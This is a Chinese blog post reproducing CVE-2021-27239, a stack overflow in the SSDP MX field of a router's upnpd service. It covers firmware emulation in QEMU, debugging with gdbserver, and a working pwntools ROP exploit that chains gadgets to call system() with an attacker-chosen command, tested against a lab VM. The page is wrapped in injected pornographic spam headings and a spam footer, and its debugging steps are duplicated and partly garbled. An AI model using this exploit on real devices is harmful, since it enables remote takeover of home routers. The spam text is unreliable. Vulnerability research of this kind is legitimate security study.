<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      CVE-2021-27239 漏洞復現

      在此感謝 tolele 師傅的幫助
      參考鏈接
      https://toleleyjl.github.io/2023/04/09/CVE-2021-27239%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%AE%B0%E5%BD%95/
      https://toleleyjl.github.io/2023/02/16/CVE-2021-34991%E5%A4%8D%E7%8E%B0/
      https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/
      https://rmrfsad.github.io/2023/04/05/iot/CVE-2021-27239/#%E5%9B%BA%E4%BB%B6%E6%A8%A1%E6%8B%9F
      https://paper.seebug.org/1311/#qemu
      漏洞概述
      CVE-2021-27239
      該漏洞位于路由器的 UPnP 服務中, 由于解析 SSDP 協議數據包的代碼存在缺陷,導致未經授權的遠程攻擊者可以發送特制的數據包使得棧上的 buffer 溢出,進一步控制 PC 執行任意代碼。
      路由器固件下載
      不過由于剛開始接觸 IOT ,先了解下 UPnP 服務和 SSDP 協議,以下信息來自 chatgpt
      UPnP 服務:
      UPnP(通用即插即用)服務是一種基于UPnP協議,用于實現設備之間互相發現和交談的服務。UPnP服務通常可以包括多種類型的服務,例如媒體服務器服務、打印機服務、網絡存儲服務等等。
      UPnP服務通常在設備之間使用HTTP協議進行通信,設備可以通過HTTP請求(如HTTP GET、POST等)來查詢其他設備的服務,并且根據查詢結果來做出相應的操作。因此,UPnP服務也稱為互聯網設備聯盟設備控制協議(UPnP Device Control Protocol)。
      在UPnP服務架構中,設備通常包含一個設備描述文檔(Device Description Document),它定義了設備的基本信息、屬性、狀態、可用服務等。設備描述文檔基于XML格式編寫,由設備廠商提供。
      需要注意的是,UPnP服務的開放性和易用性也帶來了安全風險。未經適當保護的UPnP服務可能會被黑客利用,從而導致網絡受到攻擊。為了減輕這種風險,DOWNUPnP Forum和其他組織已經制定了一些UPnP安全模型和UPnP安全指南,旨在幫助設備生產廠商和用戶加強對UPnP服務的管控和保護。
      SSDP 協議:
      SSDP(Simple Service Discovery Protocol),簡單服務發現協議,是一種基于UPnP(通用即插即用)協議的服務發現協議。
      SSDP的實質是通過UDP協議在局域網中發送廣播通告或組播通告,從而實現局域網內的設備自動發現、自組網和服務發現。SSDP通常用于網絡設備、智能家居等場景中,它可以讓設備自動發現其他設備,并且了解這些設備支持哪些服務和功能。
      SSDP協議默認監聽UDP 1900端口,并且通過IP多播方式向局域網內的所有設備發送服務發現消息。設備收到這個消息后,會向發送者回復一個包含自身信息的消息。這樣,設備就可以通過不斷地互相交流,建立起一個網絡拓撲結構,并且了解其他設備的服務和功能。當一個設備新加入網絡時,它可以向其他設備發送服務發現消息,從而讓其他設備找到自己并且建立連接。
      需要注意的是,由于SSDP協議使用UDP廣播和多播方式,理論上來說這種方式存在一定的安全風險,攻擊者可以通過發送惡意消息來干擾網絡正常運行。因此,在實際應用中,應該采取相應的措施來加強網絡安全,比如限制廣播或者多播的范圍,使用更安全的傳輸協議,或者開啟相關的安全措施,如身份驗證和加密等。
      SSDP協議的請求和響應報文都是基于HTTP/1.1協議格式的,具體格式如下:
      請求報文:
      M-SEARCH * HTTP/1.1
      HOST: 239.255.255.250:1900
      MAN: "ssdp:discover"
      ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1   # 查詢的設備類型或服務類型
      MX: 3
      其中,M-SEARCH表示多播搜索請求,*表示搜索全局范圍內所有設備。HOST指定了目的地地址和端口,SSDP協議默認使用239.255.255.250:1900進行多播搜索。MAN表示搜索類型,ssdp:discover表示簡單服務發現機制。ST表示搜索目標,即設備或服務類型,這里指定了一個特殊的設備類型InternetGatewayDevice。MX表示最大響應等待時間。
      響應報文:
      HTTP/1.1 200 OK
      CACHE-CONTROL: max-age=1800
      DATE: Fri, 16 Apr 2021 07:54:52 GMT
      EXT:
      LOCATION: http://192.168.1.1:80/rootDesc.xml
      SERVER: Linux/2.4.17 UPnP/1.0 miniupnpd/1.7
      ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
      USN: uuid:UPnP-InternetGatewayDevice-1_0-000666777888::urn:schemas-upnp-org:device:InternetGatewayDevice:1/
      響應報文中,第一行HTTP狀態碼200表示請求成功。CACHE-CONTROL指定設備或服務的緩存時間,單位為秒。LOCATION指定了設備或服務的描述文檔地址,即rootDesc.xml文件。ST和USN分別表示設備或服務的類型和唯一識別號。EXT指定了設備或服務支持的擴展協議,這里為空。SERVER指定了設備或服務的操作系統和應用程序名稱和版本信息。
      `
      漏洞成因
      漏洞位于 /usr/sbin/upnpd,是ssdp(UDP 1900)協議的解析過程中,對MX字段的 strncpy 引發的棧溢出。
      binwalk 提取文件,最終將 /usr/sbin/upnpd 丟到 IDA 反匯編,可以知道是一個 32 為 arm 小端序二進制可執行文件

      且沒有開啟 Canary 和 PIE
      IDA 中搜尋 MX 字符串,最終找到漏洞

      其中的 v5 - (v4 + 3) 表示 MX字段數據的長度,說明并沒有限制數據字節大小,那么就可以直接棧溢出
      固件模擬
      首先要下載內核鏡像文件、文件系統和啟動文件
      https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
      https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
      https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress/

      這樣才能進行系統級模擬,不夠現在貌似下載不了資源了

      #! /bin/bash
      #創建一個虛擬網卡和虛擬機交互
      sudo tunctl -t tap0
      sudo ifconfig tap0 192.168.6.1/24
      # qemu 系統級模擬
      qemu-system-arm -M vexpress-a9 \
          -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
          -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
          -append "root=/dev/mmcblk0p2" \
          -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

      將其寫入 start.sh 文件,然后運行

      不過會報

      這里需要執行

      qemu-img resize debian_wheezy_armhf_standard.qcow 32G

      這樣重新執行就可以正常模擬了(感謝 tolele 師傅的幫助)

      經過漫長等待后,輸入賬號密碼 root : root

      # 配置虛擬網卡,用于宿主機交互
      ifconfig eth0 192.168.6.2/24
      # 掛載
      mount -t proc /proc ./squashfs-root/proc
      mount -o bind /dev ./squashfs-root/dev
      chroot ./squashfs-root/ sh
      配置虛擬網卡,這樣虛擬機就能和物理機進行網絡連接了,然后掛載,切換進程根目錄
      python3 -m http.server 8888
      wget 192.168.6.1:8888/file_name
      利用 python3 在物理機開啟一個 web 服務在 8888 端口,這樣就能在虛擬機利用 wget 下載物理機的文件到虛擬機
      如果直接執行 /urs/sbin/upnpd 會報 /dev/nvram: No such file or directory

      顯示沒有NVRAM文件。NVRAM(Non-Volatile Random Access Memory)是一種非易失性隨機存取存儲器,它能夠在斷電時保存數據。固件模擬與NVRAM有關系,因為在進行固件模擬時,我們需要模擬整個嵌入式系統的運行環境,包括系統配置信息、參數和狀態等。這些信息通常存儲在NVRAM中,并在系統啟動時被讀取。
      通過 https://uclibc.org/downloads/binaries/0.9.30/ 下載交叉編譯工具,然后在 https://github.com/therealsaumil/custom_nvram 下載模擬源碼,最后編譯后利用 8888 端口上傳到虛擬機中
      ./armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

      然后執行

      LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
      這時候會發現成功啟動了

      可以看到成功開啟

      觸發漏洞與遠程調試
      from pwn import *
      
      p = remote("192.168.6.2", 1900, typ='udp')
      context.log_level = 'debug'
      
      pld = b'M-SEARCH * HTTP/1.1 \r\n'
      pld += b'Man:"ssdp:discover" \r\n'
      pld += b'MX:' + b'a'*160 + b' \r\n'
      
      p.send(pld)
      觸發棧溢出
      鏈接 下載 gdb-server ,在虛擬機開放一個調試端口,這樣就能在物理機調試了
      虛擬機
      LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 尋找 upnpd 進程號 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid
      宿主機
      gdb-multiarch set architecture arm target remote 192.168.6.2:12345
      同樣用上面簡單的 payload 來觸發棧溢出調試看看,
      LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd
      0
      找到 /usr/sbin/upnpd 的進程號
      ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515
      宿主機起用 gdb
      0
      設置系統架構,然后監聽端口
      set architecture arm target remote 192.168.6.2:12345
      然后就能愉快地調試了
      0
      將斷點打到 0x22dc0
      0
      當執行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩潰了
      0
      觸發棧溢出
      鏈接 下載 gdb-server ,在虛擬機開放一個調試端口,這樣就能在物理機調試了
      虛擬機
      LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
       & /bin/sh
      # 尋找 upnpd 進程號
      ps | grep upnpd
      ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid
      宿主機
      gdb-multiarch
      set architecture arm
      target remote 192.168.6.2:12345

      同樣用上面簡單的 payload 來觸發棧溢出調試看看

      LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh
      ps | grep upnpd

      找到 /usr/sbin/upnpd 的進程號

      ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515
      宿主機起用 gdb

      設置系統架構,然后監聽端口
      set architecture arm
      target remote 192.168.6.2:12345
      然后就能愉快地調試了

      將斷點打到 0x22dc0

      當執行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩潰了

       

      漏洞利用及 exp 編寫
      from pwn import *
      
      p = remote("192.168.6.2", 1900, typ='udp')
      context.log_level = 'debug'
      
      payload = b'M-SEARCH * HTTP/1.1\r\n'
      payload += b'Man:"ssdp:discover"\r\n'
      payload += b'MX:'
      payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
      payload += b'\r\n\x00'
      
      p.send(payload)
      首先要利用上面 payload 來找出溢出長度
      0
      可以看到溢出長度要足夠我們能夠控制 pc 需為 140(0x8c)
      并且如果我們的 exp 如下的時候
      from pwn import *
      
      p = remote("192.168.6.2", 1900, typ='udp')
      context.log_level = 'debug'
      
      payload = b'M-SEARCH * HTTP/1.1\r\n'
      payload += b'Man:"ssdp:discover"\r\n'
      payload += b'MX:'
      payload += b'a' * 0x8c
      payload += b'\x08\x39\x01\r\n\x00'
      payload += b'stopstop'*0x8
      
      p.send(payload)
      0
      可以看到 \r\n\x00 之后的數據被讀到到距離 sp 0x770 處的位置
      .text:00017DD8 04 00 A0 E1                   MOV  R0, R4; command
      .text:00017DDC 20 CC FF EB                   BL system
      
      .text:00013908 02 DB 8D E2                   ADD SP, SP, #0x800
      .text:0001390C 70 80 BD E8                   POP {R4-R6,PC}
      
      .text:0000BB44 04 00 A0 E1                   MOV R0, R4 ; dest
      .text:0000BB48 0D 10 A0 E1                   MOV R1, SP ; src
      .text:0000BB4C F2 FE FF EB                   BL strcpy
      .text:0000BB50 01 DB 8D E2                   ADD SP, SP, #0x400
      .text:0000BB54 70 80 BD E8                   POP {R4-R6,PC}
      我們可以利用上面三處 gadget
      先控制 rsp 指向構造的 command 處,控制 R4 為 data 段上地址,再利用 strcpy 來復制 command 到 data 段上,接著再一次控制 pc,到 system 執行。和尋常 arm 架構的 ctf pwn 題差不多
      exp
      from pwn import *
      
      p = remote("192.168.6.2", 1900, typ='udp')
      context.log_level = 'debug'
      
      command = b'ls'
      
      payload = b'M-SEARCH * HTTP/1.1\r\n'
      payload += b'Man:"ssdp:discover"\r\n'
      payload += b'MX:'
      payload += b'a' * 0x8c
      payload += b'\x08\x39\x01\r\n\x00' # add sp, 0x800
      payload += b'a' * 0xa5
      payload += p32(0x000CD000) # .data
      payload += b'a' * 8
      payload += p32(0x0000BB44) # strcpy
      payload += command.ljust(0x400, b'\x00')
      payload += p32(0x000CD000) # .data
      payload += b'a' * 8
      payload += p32(0x00017DD8) #system
      
      p.send(payload)
      posted @ 2023-04-30 23:12  xshhc  閱讀(1938)  評論(3)    收藏  舉報
      主站蜘蛛池模板: а∨天堂一区中文字幕| 国产成人高清精品亚洲一区| 亚洲AV毛片一区二区三区| 日韩有码国产精品一区| 亚洲综合黄色的在线观看| 亚洲国产在一区二区三区| 蜜臀av久久国产午夜福利软件| 四虎库影成人在线播放| 国产高清一区二区三区视频 | 中文字幕无线码在线观看| 国产AV大陆精品一区二区三区| 国产精品午夜无码AV天美传媒 | 日日橹狠狠爱欧美视频| 阿勒泰市| 久久99日韩国产精品久久99| 亚洲综合一区二区国产精品| 沭阳县| 日区中文字幕一区二区| 久久综合给合久久狠狠狠| 苍井空毛片精品久久久| 色偷偷亚洲男人的天堂 | 日韩有码中文字幕av| 亚洲日本中文字幕天天更新 | 日韩亚av无码一区二区三区| 伊川县| 风韵丰满妇啪啪区老老熟女杏吧 | 久久精品国产中文字幕| 国产乱子伦一区二区三区四区五区| 亚洲人成绝网站色www| 熟妇人妻无码中文字幕老熟妇| 免费无遮挡无码永久视频| 蜜臀av一区二区三区日韩| 99久久无码私人网站| 民勤县| 在线无码免费看黄网站| 国产精品久久久久7777| 久久国产精品色av免费看| 国产超级va在线观看视频| 日韩精品久久久肉伦网站| 亚洲日本va午夜在线影院| 国产日产欧美最新|